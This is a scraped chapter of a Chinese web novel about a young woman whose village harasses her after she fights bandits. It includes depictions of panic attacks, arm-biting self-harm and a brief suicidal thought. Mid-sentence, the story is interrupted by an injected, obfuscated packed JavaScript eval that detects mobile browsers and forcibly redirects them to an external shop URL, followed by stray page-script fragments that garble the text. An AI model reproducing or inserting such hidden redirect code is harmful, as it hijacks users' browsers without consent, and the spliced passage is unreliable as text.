文趣网 > 都市小说 > 路人甲的活命手册 > 9. 深陷囹圄
    天灰蒙蒙的,江望舒家门禁闭,江时安和云浅棠坐在院子中,时不时转头看一眼江望舒窗户前放的餐食。

    屋内的江望舒双手抱膝,头埋进胳膊里,眼泪吧嗒吧嗒的掉在裤子上。

    她已经尽量不去管外面的那些流言蜚语了,但那些声音就像是石头一样砸向她,就算她身手再厉害也躲不过去的那种。

    “望舒,今天做了你最喜欢的酸菜鱼,快来吃啊。”云浅棠的声音从窗外传来。

    她稍微抬起头看向窗户,就看到一个人影站在窗户前,她晃晃脑袋,深吸一口气,装作没事的样子回答道:“马上就来。”

    这几天这样的场景经常上演,她不愿意出门,云浅棠和江时安就换着来找她说话。

    她知道她们是在担心自己,所以会尽量让自己看上去没什么事情,只是很少出门而已。

    门外,江时安坐在餐桌前,看着桌上的酸菜鱼眼睛发光,见她出来立马招呼道:“阿姐,快过来,师父今天做的酸菜鱼好香。”

    闻言,江望舒搓搓手,笑着说道:“已经开始流口水了。”

    云浅棠站在窗边看着她们两个人,摇摇头,嘴角含笑说道:“你们两个这是一个模子里刻出来的。”

    吃饭时,江时安嘴上说着好香,要多吃一点,实际上没吃几口,她能看出来云浅棠和江时安两个人都很担心自己,所以她尽量多吃了一些。

    不知道是不是因为这几天她的心情一直不太好,这几日她的胃总是不舒服,胀胀的,所以她也没吃多少,总觉得有些反胃。

    吃过饭之后,她准备回房间待会儿,却被江时安拽住,眼睛泪汪汪地看着她,问道:“阿姐,你这两天陪我的时间都少了,你是不是不爱我了?”

    她转头看向站在桌边的云浅棠,只见她眨着眼睛左看右看就是不看她。

    江望舒伸手揉揉江时安的头顶,说道:“怎么会呢,阿姐最爱的就是你了。”

    只是阿姐最近有些累了,这句话她没说出来,她怕云浅棠和江时安多想。

    嘭嘭嘭的砸门声传来。

    江望舒有些应激的捂住耳朵蹲到地上,身体在不停地发抖,最近几天太多人来砸她们家,不管江望舒是骂是打,都没有用,第二天依旧会有人来砸门,还有人用烧火棍在她们家墙上写辱骂人的话。

    她看到江时安偷偷地清理了那些字,那些话很恶毒也很恶心,云浅棠因为这件事将周围的邻居都臭骂了一顿,有一些险些动手。

    渐渐的,她听到砸门就想捂住耳朵,有些时候一个人在房间的时候也会幻听,感觉好像砸门声就在她的耳边。

    她捂着耳朵,死死咬着自己的手臂,想让自己清醒一点,不过疼痛并不能唤醒她,反而让她更加的痛苦,她害怕被云浅棠和江时安发现手臂上的伤。

    一个温暖的怀抱拥住了她,温和又带着力量的声音在她的耳边响起:“没事了,没事了,我们都在呢,别害怕。”

    门外的人像是知道了江望舒不敢开门,更加用力地砸着门,叫骂声也随之传来.

    "□□,怎么还有脸待在村子里。"

    “滚出村子。”

    “要不是你我们村子也不会变成现在的样子。”

    江望舒闭着眼捂着自己的耳朵,试图以此隔绝外面的叫骂的声音,可声音还是源源不断的涌进她的耳中。

    用背顶着门的江时安,双手握成拳,轻微的发抖,眉头皱成一团,牙齿咬得咯吱响。

    本来以为外面的人喊一会儿,没人理就会离开了,没想到这次来的人这么大胆,竟拿了斧头劈门。

    锋利的斧头与江时安擦肩,险些伤到他。

    目睹一切的云浅棠大喊道:“小安。”

    崩溃边缘的江望舒,闻言抬头望去,正好看到斧头擦着江时安劈了下去,顿时感觉一股麻感从头顶窜到了脚底,整个人一颤。

    下意识地冲了过去,将人从门前拽开。

    没了支撑点,门不堪重负地倒在了地上,发出砰一声,激起了地上不少的灰尘,江望舒扇了扇面前的灰尘,低头问道:“小安,你怎么样?”

    摔倒在地的江时安摇摇头,说道:“我没事。”

    门外的几个大汉光着膀子,将斧头扛在肩膀上说道:“江望舒,识相点赶紧去向青龙寨寨主道歉,争取他的原谅,不然以后你们别想有好日子过。”

    江望舒后退一步,骂道:“我凭什么道歉,是他们技不如人,关我什么事。”

    大汉将斧头撑在地上,不屑一笑,说道:“龙哥让着你呢,还真当自己是个人物了,劝你识相点,也能少受点苦。”

    她正欲说点什么,一片烂叶子直接砸在了她的脸上,她望过去,发现是那天她救下的那个姑娘,见她看过去,别过头说道:“你个扫把星,如果不是你我娘就不会死,滚出村子。”

    垂在身体两侧的手渐渐握成拳,心里有一个声音在嘶吼,连你救的人都不站在你这边,你活着还有什么意思呢,不如死了一了百了。

    胸口像是被人用石头堵住了,任由求生意志怎么砸都冲不出来,她跪在地上捂着头,大喊道:“啊——啊——啊——”

    正在和你对骂的云浅棠和江时安同时转身冲过来,她一把将想要抱住她的云浅棠推开,冲出去给了向她扔菜叶子的姑娘一巴掌,又踹了两脚砸门的大汉,吼道:“一个个忘恩负义的家伙,我救了你们,你们却这么对我,真该死,该死。”

    追过来的江时安从后面紧紧抱住她,喊着:“阿姐,冷静点,阿姐。”

    她的理智逐渐回笼,大口大口喘着气,看着地上惊恐地望着她的大汉,江望舒没能弄清状况,有些迷茫地看向江时安和云浅棠。

    两个人很默契地摇摇头,云浅棠说道:“没关系,发泄出来就好了,没关系的。”

    说着,她蹲下身查看几个人的伤势,说道:“就是一点

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790476|210368||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    皮外伤,不是什么问题。”

    这时候不知道从哪里冲出来两个大妈,直接指着江望舒的鼻子骂道:“杀人了,这个不要脸的杀人了,你看看把我儿子都打成什么样子了。”

    江时安说道:“你放屁,明明是你儿子先挑事,这都算轻的了。”

    大妈往地上一坐,拍着大腿说道:“大家快来看啊,欺负人了,打了我儿子不说,还想打我这老太太啊。”

    江望舒只觉得耳边都是嗡鸣声,其他的声音都听不到了,感觉所有人好像都离她很远,一切都听不真切。

    她揉了揉太阳穴,想把这种不适感压下去,胃里却涌上一股恶心感,直接吐在了坐在地上的那个大妈身上。

    “望舒。”云浅棠站起身来到她旁边摸上她的脉搏,眉头渐渐皱起说道,“脾胃怎么这么差,另一只手递过来。”

    想起另一只手上有伤,江望舒摇了摇头,将手背在身后,说道:“我没事。”

    被吐了一身的大妈跳起来喊道:“你个杀千刀的,赔我衣服。”

    云浅棠将两个隔开,丢过去20文钱,说道:“衣服钱,你离远一些。”

    大妈低头数了数,撇撇嘴,说道:“才这么点就想把我们打发了,休想,至少70文钱,不然我们今天就赖在你们门口不走了。”

    一直在旁边低着头不敢说话的小姑娘怯生生地说道:“至少给我五十文钱,不然我也不走了。”

    江时安适时地插嘴道:“你们将我家的门劈成这样,我们没让你们赔钱就不错了,怎么还好意思问我们要钱的?”

    大妈不知道哪里来的胆子,冲过去就给了江时安一巴掌,说道:“你姐姐是丧门星,不是因为她村子根本就不会成为这样,给我们点补偿怎么了。”

    江望舒被几个人吵得头疼,一巴掌扇在了大妈的脸上,说道:“你有什么证据,如果不是我你们早就死了。”

    “怎么就死了,如果不是你们多管闲事,他们拿完东西就走了。”大妈捂着脸说道,“再不济也就是带走十个女人而已,现在好了,他们记恨上我们村子了,以后都没有好日子过了。”

    闻言,江望舒感觉那种喘不上气的感觉又来了,眼前阵阵发黑,她捂着胸口质问道:“什么叫只带走十个女人而已,她们是活生生的人,不是物品。”

    因为嫌弃呕吐物而站得远远的大汉,讥讽道:“你看她们谁会感谢你,自古以来都是这个规矩,能为我们男人付出,是她们的荣幸。”

    这段话听得江望舒,气血上涌,旁边的云浅棠握住她的手,说道:“你们男人的无能,凭什么让我们女人买单,说到底不过是因为你们男人不敢,没用。”

    大汉撸起拳头就想给云浅棠一拳,却被江时安拦下,江望舒趁机一脚踹在了大汉的肚子上。

    三个人默契地对视一眼,云浅棠说道:“你们再不走我们可要报官了,我们到衙门去看看,今天这件事是谁的错。”